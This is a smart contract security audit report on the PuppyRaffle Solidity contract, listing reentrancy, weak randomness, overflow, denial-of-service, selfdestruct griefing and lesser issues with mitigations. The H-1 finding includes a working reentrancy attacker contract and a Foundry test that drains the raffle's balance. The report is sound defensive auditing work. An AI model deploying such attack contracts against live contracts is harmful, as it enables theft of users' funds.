PuppyRaffle Audit Report

Version 1.0

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Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Disclaimer

The anonymous961 team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
-- PuppyRaffle.sol
```

Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	6
Gas	2
Total	15

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contest balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
           player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
           already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concepts

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enter the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
    function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(
            attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        // attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("starting attacker contract balance:",
            startingAttackContractBalance);
        console.log("starting contract balance:",
            startingContractBalance);

        console.log("ending attacker contract balance:", address(
            attackerContract).balance);
        console.log("ending contract balance:", address(puppyRaffle).
            balance);
    }
```

And this contract as well.

```
    contract ReentrancyAttacker {
        PuppyRaffle puppyRaffle;
        uint256 entranceFee;
        uint256 attackerIndex;

        constructor(PuppyRaffle _puppyRaffle) {
            puppyRaffle = _puppyRaffle;
            entranceFee = puppyRaffle.entranceFee();
        }

        function attack() external payable {
            address[] memory players = new address[](1);
            players[0] = address(this);
            puppyRaffle.enterRaffle{value: entranceFee}(players);
            attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
            puppyRaffle.refund(attackerIndex);
        }

        function _stealMoney() internal {
            if (address(puppyRaffle).balance >= entranceFee) {
                puppyRaffle.refund(attackerIndex);
            }
        }

        fallback() external payable {
            _stealMoney();
        }

        receive() external payable {
            _stealMoney();
        }
    }
```

Recommended mitigation To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionaly, we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence the winning puppy

Description Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable find number. A predictible number is not a good random number. Malicious users can know these values or know them ahead of time to choose the winner of raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see the are not the winner.

Impact Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concepts 1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrando. `block.difficulty` was recently replaced with `prevrandao`. 2. User can manipulate their `msg.sender` value to result in their address being used to generated the winner! 3. User can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Recommended mitigation Consider using a cryptograhically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In Solidity versions prior to `0.8.0`, integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// myVar will be 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We first conclude a raffle of 4 players to collect some fees. 2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well. 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Proof Of Code Place this into the `PuppyRaffleTest.t.sol` file.

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
            require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;
```

```
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
   There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle stats will be dramatically address in the `players` array, is an additional check the loop will have to make.

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guarenteeing themselves the win.

Proof of Concept: If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6503275 gas - 2nd 100 players: ~18995515 gas

This is more than 3 times expensive for the second 100 players.

PoC Place the following test into `PuppyRaffleTest.t.sol`.

```
function test_denialOfService() public {

        vm.txGasPrice(1);
        // let's enter 100 players
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }

        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;

        console.log("gas cost for first 100", gasUsedFirst);

        // for 2nd 100 players
        address[] memory playersTwo = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }

        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length
            }(playersTwo);
        uint256 gasEndSecond = gasleft();
        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
            gasprice;
        console.log("gas cost for second 100 players", gasUsedSecond);

        assert(gasUsedSecond > gasUsedFirst);
    }
```

Recommended Mitigation: There are a few recomendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate chcek doesn’t prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+             addressToRaffleId[newPlayers[i]] = raffleId;
        }

-         // Check for duplicates
+        // Check for duplicates only from the new players
+        for (uint256 i = 0; i < newPlayers.length; i++) {
+          require(addressToRaffleId[newPlayers[i]] != raffleId, "PuppyRaffle: Duplicate player");
+        }
-         for (uint256 i = 0; i < players.length; i++) {
-             for (uint256 j = i + 1; j < players.length; j++) {
-                 require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-             }
-         }
        emit RaffleEnter(newPlayers);
    }
.
.
.
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
    function withdrawFees() external {
@>      require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "
    PuppyRaffle: There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle"
           );

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
           sender, block.timestamp, block.difficulty))) % players.
           length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
    function getActivePlayerIndex(address player) external view returns
        (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact A causing a player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concepts

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended mitigation The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading storage is much more expensive than from a constant or immutable

Instances: - `PuppyRaffle::raffleDurantion` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryUri` should be `constant`

[G-2] Storage variable in a loop should be cached

Everytime you call `players.length` you read from storage as supposed to be from memory.

```
+          uint256 playersLength= players.length;
-          for (uint256 i = 0; i < players.length - 1; i++) {
+          for (uint256 i = 0; i < playersLength - 1; i++) {
-              for (uint256 j = i + 1; j < players.length; j++) {
+             for(uint256 j=i+1;j<playersLenght;j++){
                  require(players[i] != players[j], "PuppyRaffle:
                     Duplicate player");
             }
         }
```

Informational

[I-1] Unspecific Solidity Pragma

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[I-2] Using an outdated version of solc is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please check slither

[I-3]: Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 67

```
            feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 203

```
            feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not folllow CEI

It's best to keep code clean and follow CEI (Checks, Effects, interactions).

```
-    (bool success,) = winner.call{value: prizePool}("");
-    require(success, "PuppyRaffle: Failed to send prize pool to winner
   ");
    _safeMint(winner, tokenId);
+    (bool success,) = winner.call{value: prizePool}("");
+    require(success, "PuppyRaffle: Failed to send prize pool to winner
   ");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE=80;
    uint256 public constant FEE_PERCENTAGE=20;
    uint256 public constatn POOL_PRECISION=100;
```

[I-5] _isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
```

```
-                   return true;
-               }
-           }
-           return false;
-       }
```

[I-6] Unchanged variables should be constant or immutable

Constant Instances:

```
PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant
PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be
    constant
PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant
```

Immutable Instances:

```
PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable
```